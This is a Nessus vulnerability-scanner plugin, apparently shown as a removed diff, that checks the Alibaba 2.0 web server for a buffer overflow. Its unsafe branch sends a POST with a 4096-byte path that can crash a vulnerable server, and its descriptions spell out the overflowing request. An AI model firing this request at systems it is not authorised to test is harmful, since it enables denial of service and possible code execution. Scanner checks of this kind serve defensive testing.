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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10012);
- script_bugtraq_id(1482);
- script_cve_id("CAN-2000-0626");
- script_version ("$Revision: 1.23 $");
-
- name["english"] = "Alibaba 2.0 buffer overflow";
- name["francais"] = "DΘpassement de buffer dans Alibaba 2.0";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "It is possible to make the remote web server execute
- arbitrary commands by sending the following request:
-
- POST AA[...]AA/ HTTP/1.0
-
- This problem may allow an attacker to execute arbitrary code on
- the remote system or create a denial of service (DoS) attack.
-
- Solution : At the time of this writing, no solution was available.
- Check with your vendor for a possible patch, or consider changing your
- web server.
-
- Risk factor : High";
-
- desc["francais"] = "Il est possible de faire executer du code arbitraire
- α un serveur faisant tourner Alibaba 2.0 en lui envoyant la
- commande suivante :
-
- POST AA[...]AAA/ HTTP/1.0
-
- Ce problΦme peut permettre α un pirate d'executer du
- code arbitraire sur le systΦme distant, ou de mettre
- le systΦme hors-service.
-
- Solution : Aucune. Utilisez un autre serveur web
- Facteur de risque : ElevΘ";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Alibaba buffer overflow";
- summary["francais"] = "DΘpassement de buffer dans Alibaba";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_MIXED_ATTACK); # mixed
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "Gain root remotely";
- family["francais"] = "Passer root α distance";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "www_too_long_url.nasl");
- script_exclude_keys("www/too_long_url_crash");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
-
- port = get_http_port(default:80);
-
-
- if(safe_checks())
- {
- banner = get_http_banner(port: port);
-
- if(egrep(pattern:"^Server:.*[aA]libaba.*", string:banner))
- {
- alrt = "It may be possible to make the remote Alibaba web server execute
- arbitrary code by sending the following request :
-
- POST AA[...]AA/ HTTP/1.0
-
- This problem may allow an attacker to execute arbitrary code on
- the remote system or create a denial of service.
-
- *** Nessus reports this vulnerability using only
- *** information that was gathered. Use caution
- *** when testing without safe checks enabled.
-
- Solution : None at this time. Use another web server
- Risk factor : High";
-
- security_hole(port:port, data:alrt);
- }
- exit(0);
- }
- if(get_port_state(port))
- {
- if(http_is_dead(port:port))exit(0);
- data = http_post(item:string(crap(4096),"/"), port:port);
- soc = http_open_socket(port);
- if(soc > 0)
- {
- send(socket:soc, data:data);
- http_close_socket(soc);
- soc2 = http_open_socket(port);
- if(!soc2)security_hole(port);
- else http_close_socket(soc2);
- }
- }
-